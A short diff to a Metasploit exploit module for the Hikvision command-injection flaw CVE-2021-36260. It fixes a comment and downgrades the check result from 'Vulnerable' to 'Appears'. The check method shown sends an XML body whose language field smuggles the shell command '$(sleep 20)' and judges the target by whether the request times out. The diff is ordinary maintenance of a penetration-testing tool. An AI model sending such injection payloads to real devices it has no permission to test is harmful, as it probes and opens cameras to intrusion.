Change CheckCode to Appears

modules/exploits/linux/http/hikvision_cve_2021_36260_blind.rb

@@ -122,7 +122,7 @@ class MetasploitModule < Msf::Exploit::Remote
     return CheckCode::Safe('The target did not respond with a 200 OK or 500 error') unless (res.code == 200 || res.code == 500)
 
     # Some cameras are not vulnerable and still respond 500. We can weed them out by making
-    # the remote target sleep and use a low timeout. This might not be good for low latency targets
+    # the remote target sleep and use a low timeout. This might not be good for high latency targets
     # or for people using Metasploit as a vulnerability scanner... but it's better than flagging all
     # 500 responses as vulnerable.
     payload = '<xml><language>$(sleep 20)</language></xml>'
@@ -132,7 +132,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'data' => payload
     }, 10)
 
-    return CheckCode::Vulnerable('It appears the target executed the provided sleep command.') unless res
+    return CheckCode::Appears('It appears the target executed the provided sleep command.') unless res
 
     CheckCode::Safe('The target did not execute the provided sleep command.')
   end